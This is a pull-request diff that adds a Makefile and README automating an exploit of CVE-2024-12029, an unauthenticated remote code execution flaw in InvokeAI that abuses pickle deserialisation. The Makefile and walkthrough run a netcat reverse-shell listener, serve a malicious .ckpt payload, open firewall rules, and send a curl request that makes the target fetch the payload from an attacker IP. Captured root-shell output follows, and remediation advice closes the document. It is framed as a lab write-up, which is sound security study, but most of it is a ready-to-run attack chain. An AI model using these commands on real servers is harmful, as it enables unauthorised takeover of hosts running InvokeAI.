Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Empty file removed exploitation/.gitkeep
Empty file.
72 changes: 72 additions & 0 deletions exploitation/InvokeAI_v5.3.0/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
# exploitation/InvokeAI_v5.3.0/Makefile
TARGET_URL ?= http://localhost:9090
LISTENER_IP ?= 127.0.0.1
LISTENER_IP := $(or $(LISTENER_IP),$(shell ip route get 1.1.1.1 2>/dev/null | awk '{for(i=1;i<=NF;i++) if($$i=="src") print $$(i+1)}'))
LISTENER_PORT ?= 4444
HTTP_PORT ?= 8888
PAYLOAD_FILE := payload.ckpt
PAYLOAD_URL ?= http://$(LISTENER_IP):$(HTTP_PORT)/$(PAYLOAD_FILE)

.PHONY: attack listen serve fw help

help:
@echo ""
@echo " CVE-2024-12029 — InvokeAI <=5.3.1 RCE via Model Deserialization"
@echo ""
@echo " Run in this order (each in its own terminal):"
@echo " 1. make fw — open iptables for podman bridge (once per session, needs sudo)"
@echo " 2. make listen — start netcat listener"
@echo " 3. make serve — generate payload and serve it over HTTP"
@echo " 4. make attack — trigger the install endpoint → RCE"
@echo ""
@echo " Detected LISTENER_IP : $(LISTENER_IP)"
@echo " PAYLOAD_URL : $(PAYLOAD_URL)"
@echo " TARGET_URL : $(TARGET_URL)"
@echo " LISTENER_PORT : $(LISTENER_PORT)"
@echo " HTTP_PORT : $(HTTP_PORT)"
@echo ""

# Allow container→host traffic through the podman bridge.
# Kali sets FORWARD policy to DROP by default which blocks the container
# from reaching the host HTTP server and reverse shell listener.
fw:
@echo "[*] Configuring iptables to allow podman bridge traffic ..."
sudo iptables -I FORWARD -i podman0 -j ACCEPT
sudo iptables -I FORWARD -o podman0 -j ACCEPT
sudo iptables -I INPUT -i podman0 -j ACCEPT
sudo iptables -I INPUT -p tcp --dport $(HTTP_PORT) -j ACCEPT
sudo iptables -I INPUT -p tcp --dport $(LISTENER_PORT) -j ACCEPT
@echo "[+] iptables rules applied."

# Start netcat listener — run this in terminal 1
listen:
@echo "[*] Starting listener on port $(LISTENER_PORT) ..."
@echo "[*] Waiting for reverse shell from container (10.88.0.x) ..."
nc -lvnp $(LISTENER_PORT)

# Generate payload.ckpt and serve it — run this in terminal 2.
# Uses a persistent foreground HTTP server so the file stays available
# as long as InvokeAI needs it (no 30s timeout race condition).
serve:
@echo "[*] Generating payload (reverse shell → $(LISTENER_IP):$(LISTENER_PORT)) ..."
@python3 generate_payload.py $(LISTENER_IP) $(LISTENER_PORT)
@echo "[+] $(PAYLOAD_FILE) generated."
@echo "[*] Starting HTTP server on port $(HTTP_PORT) ..."
@python3 -m http.server $(HTTP_PORT)

# Trigger the exploit — run this in terminal 3 while listen and serve are active
attack:
@if [ -z "$(LISTENER_IP)" ]; then \
echo "[-] Could not auto-detect LISTENER_IP. Run: make attack LISTENER_IP=10.88.0.1"; \
exit 1; \
fi
@echo "[*] LISTENER_IP = $(LISTENER_IP)"
@echo "[*] TARGET_URL = $(TARGET_URL)"
@echo "[*] PAYLOAD_URL = $(PAYLOAD_URL)"
@echo "[*] Launching exploit ..."
python3 exploit.py \
--url $(TARGET_URL) \
--ip $(LISTENER_IP) \
--port $(LISTENER_PORT) \
--payload-url $(PAYLOAD_URL) \
--payload-path $(PAYLOAD_FILE)
258 changes: 258 additions & 0 deletions exploitation/InvokeAI_v5.3.0/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,258 @@
In this writeup, we'll go through the steps to obtain a reverse shell on InvokeAI, a popular open-source AI image generation platform.

InvokeAI is a self-hosted AI engine used to run Stable Diffusion models locally and generate images from text prompts. We will be exploiting one of its features that allows users to install models from remote URLs.

### Machine Walkthrough

Visit the website.

![image.png](images/image%201.png)

The first thing that catches our eye is the version of InvokeAI visible in the UI, **v5.3.0**. We do a quick search to find out if it has any public vulnerability.

**CVE-2024-12029:** InvokeAI exposes a `/api/v2/models/install` endpoint that accepts a `source` parameter — a URL pointing to a model file to download and install. When the model is processed, InvokeAI calls `torch.load()` on the downloaded file without any safety validation. `torch.load()` uses Python's `pickle` module internally, meaning a specially crafted `.ckpt` file with a malicious `__reduce__` method will execute arbitrary OS commands the moment the file is deserialised — with no authentication required.

The version of `picklescan` pinned in this release (`0.0.14`) does not detect malicious payloads inside `.ckpt` files, which is precisely the condition that makes this CVE exploitable.

I recommend reading the full report on [https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3](https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3).

### PoC

The attack flow is straightforward:

1. Craft a malicious `.ckpt` file containing a pickle reverse-shell payload
2. Serve it over HTTP from the attacker machine
3. POST to `/api/v2/models/install?source=<attacker-url>&inplace=true`
4. InvokeAI downloads the file and deserialises it with `torch.load()`
5. The pickle `__reduce__` fires and the reverse shell connects back

### Manual Exploitation

**Step 1** — Generate the malicious payload

We craft a `.ckpt` file containing a Python reverse shell serialised with `pickle`. When `torch.load()` processes it, the `__reduce__` method fires and executes our command.

```bash
python3 generate_payload.py 10.0.2.15 4444
```

![image.png](images/image%202.png)

### Step 2 — Start the HTTP server

InvokeAI needs to fetch the payload over HTTP. We serve it from the same directory:

```bash
python3 -m http.server 8888
```

![image.png](images/image%203.png)

### Step 3 — Start the listener

In a separate terminal, start a netcat listener to catch the incoming reverse shell:

```bash
nc -lvnp 4444
```

![image.png](images/image%204.png)

### Step 4 — Trigger the exploit

We POST to the vulnerable `/api/v2/models/install` endpoint, pointing the `source` parameter at our hosted payload. InvokeAI downloads it and passes it to `torch.load()` — no authentication required.

```bash
curl -X POST "http://localhost:9090/api/v2/models/install?source=http://10.0.2.15:8888/payload.ckpt&inplace=true" -H "Content-Type: application/json" -d "{}"
```

The server responds with a job object confirming the install was accepted.

![image.png](images/image%205.png)

Meanwhile, the HTTP server logs confirm InvokeAI fetched the payload.

### Step 5 — Catch the shell

Switch back to the netcat terminal.

pwned :>

![image.png](images/image9.png)

---

## Automation

Instead of running each step manually, we automated the full attack chain using a `Makefile`, `generate_payload.py`, and `exploit.py`.

### Project Structure
exploitation/InvokeAI_v5.3.0/
├── generate_payload.py # Generates the malicious pickle .ckpt file
├── exploit.py # Triggers the install endpoint (3-step chain)
├── Makefile # Orchestrates fw / listen / serve / attack targets
└── README.md # This writeup

### How it works

The `exploit.py` script automates the full attack in 3 steps:

1. **Generate** the malicious `payload.ckpt` via `generate_payload.py`
2. **Pre-flight check** — verifies the HTTP server is reachable before triggering
3. **Trigger** — POSTs to `/api/v2/models/install` and waits for the shell

**Terminal 1 — Start the listener:**
```bash
make listen
```

**Terminal 2 — Generate payload and serve it over HTTP:**
```bash
make serve
```

**Terminal 3 — Trigger the exploit:**
```bash
make attack
```

> **Note:** If InvokeAI runs in a podman container, run `make fw` once before
> anything else to open the iptables FORWARD rules that Kali drops by default.

Override any parameter as needed:
```bash
make attack LISTENER_IP=10.88.0.1 LISTENER_PORT=9001 HTTP_PORT=8080
make attack TARGET_URL=http://192.168.1.50:9090
```

Run `make help` to see all detected values before launching.

Start listener

![image.png](images/image10.png)

Run the exploit

![image.png](images/image11.png)

Get shell

![image.png](images/image12.png)

---

## Exploit

### Files

```
exploitation/InvokeAI_v5.3.0/
├── exploit.py # generates payload.ckpt and triggers the install endpoint
├── Makefile # orchestrates fw / listen / serve / attack targets
└── README.md
```

### How it works

```
Attacker InvokeAI container
│ │
│ 1. Generate payload.ckpt │
│ (pickle __reduce__ → reverse shell)│
│ │
│ 2. Serve payload.ckpt over HTTP │
│ python3 -m http.server 8888 │
│ │
│ 3. POST /api/v2/models/install │
│ ?source=http://ATTACKER:8888/──────►│
│ payload.ckpt │
│ │ torch.load(payload.ckpt)
│ │ → pickle.load()
│ │ → __reduce__ fires
│◄───────── reverse shell ───────────────│
│ /bin/sh -i │
```

### Usage

Open **three terminals** in `exploitation/InvokeAI_v5.3.0/`:

**Terminal 1 — start the listener**
```bash
make listen
```

**Terminal 2 — generate payload and serve it**
```bash
make serve
```

**Terminal 3 — trigger the exploit**
```bash
make attack
```

> **Note:** If using the `podman` bridge network instead of `--network host`,
> run `make fw` once before anything else to open the iptables FORWARD rules
> that Kali drops by default.

### Options

All parameters can be overridden:

```bash
make attack LISTENER_IP=192.168.1.10 LISTENER_PORT=9001 HTTP_PORT=8080
make attack TARGET_URL=http://192.168.1.50:9090
```

Run `make help` to see all detected values before launching.

---

## Expected Output

**Terminal 2 (`make serve`)** — confirms InvokeAI fetched the file:
```
[*] Generating payload (reverse shell → 127.0.0.1:4444) ...
[+] payload.ckpt generated.
[*] Starting HTTP server on port 8888 ...
127.0.0.1 - - [26/Feb/2026 11:00:00] "GET /payload.ckpt HTTP/1.1" 200 -
```

**Terminal 3 (`make attack`)**:
```
CVE-2024-12029 — InvokeAI <=5.3.1 RCE via Model Deserialization
-----------------------------------------------------------------
Target : http://localhost:9090
Reverse shell : 127.0.0.1:4444
Payload URL : http://127.0.0.1:8888/payload.ckpt

[*] Step 1 — generating malicious pickle payload ...
[+] Payload written to: payload.ckpt
[*] Step 2 — verifying HTTP server is reachable ...
[+] HTTP server reachable — payload is 142 bytes.
[*] Step 3 — sending install request to InvokeAI ...
[*] Response status : 201
[+] Install job accepted — payload is being fetched and deserialised.
[+] Check your listener for the reverse shell!
```

**Terminal 1 (`make listen`)** — shell lands:
```
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54321
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
```

---

## Remediation

- **Upgrade** InvokeAI to version 5.3.2 or later, which replaces `torch.load()` with `weights_only=True` or safe-loading alternatives.
- **Upgrade** `picklescan` to `1.0.0+` which correctly scans `.ckpt` files for malicious pickle opcodes.
- **Restrict** the model install API to authenticated users only.
- **Validate** that model sources are from trusted registries (e.g. HuggingFace) before downloading.
Loading